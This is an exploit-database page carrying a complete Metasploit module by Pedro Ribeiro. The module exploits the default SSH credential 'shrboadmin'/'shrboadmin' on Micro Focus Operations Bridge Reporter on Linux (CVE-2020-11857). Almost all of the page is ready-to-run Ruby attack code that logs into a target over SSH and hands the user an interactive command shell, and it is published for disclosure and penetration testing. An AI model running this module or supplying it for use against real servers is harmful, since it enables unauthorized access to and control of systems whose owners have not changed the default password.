Micro Focus Operations Bridge Reporter shrboadmin Default Password

2021.04.30
Credit: Pedro Ribeiro
Risk: Low
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'net/ssh' require 'net/ssh/command_stream' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::SSH def initialize(info = {}) super( update_info( info, 'Name' => 'Micro Focus Operations Bridge Reporter shrboadmin default password', 'Description' => %q{ This module abuses a known default password on Micro Focus Operations Bridge Reporter. The 'shrboadmin' user, installed by default by the product has the password of 'shrboadmin', and allows an attacker to login to the server via SSH. This module has been tested with Micro Focus Operations Bridge Manager 10.40. Earlier versions are most likely affected too. Note that this is only exploitable in Linux installations. }, 'License' => MSF_LICENSE, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module ], 'References' => [ [ 'CVE', '2020-11857' ], [ 'ZDI', '20-1215' ], [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBR.md' ], [ 'URL', 'https://softwaresupport.softwaregrp.com/doc/KM03710590' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Micro Focus Operations Bridge Reporter (Linux) versions <= 10.40', {} ], ], 'Privileged' => false, 'DefaultTarget' => 0, 'DisclosureDate' => '2020-09-21' ) ) register_options( [ Opt::RPORT(22), OptString.new('USERNAME', [true, 'Username to login with', 'shrboadmin']), OptString.new('PASSWORD', [true, 'Password to login with', 'shrboadmin']), ], self.class ) register_advanced_options( [ OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) end def rhost datastore['RHOST'] end def rport datastore['RPORT'] end def do_login(user, pass) factory = ssh_socket_factory opts = { auth_methods: ['password', 'keyboard-interactive'], port: rport, use_agent: false, config: false, password: pass, proxy: factory, non_interactive: true, verify_host_key: :never } opts.merge!(verbose: :debug) if datastore['SSH_DEBUG'] begin ssh = nil ::Timeout.timeout(datastore['SSH_TIMEOUT']) do ssh = Net::SSH.start(rhost, user, opts) end rescue Rex::ConnectionError return rescue Net::SSH::Disconnect, ::EOFError print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" return rescue ::Timeout::Error print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" return rescue Net::SSH::AuthenticationFailed print_error "#{rhost}:#{rport} SSH - Failed authentication" rescue Net::SSH::Exception => e print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" return end if ssh conn = Net::SSH::CommandStream.new(ssh) ssh = nil return conn end return nil end def exploit user = datastore['USERNAME'] pass = datastore['PASSWORD'] print_status("#{rhost}:#{rport} - Attempt to login to the server...") conn = do_login(user, pass) if conn print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})") handler(conn.lsock) end end end


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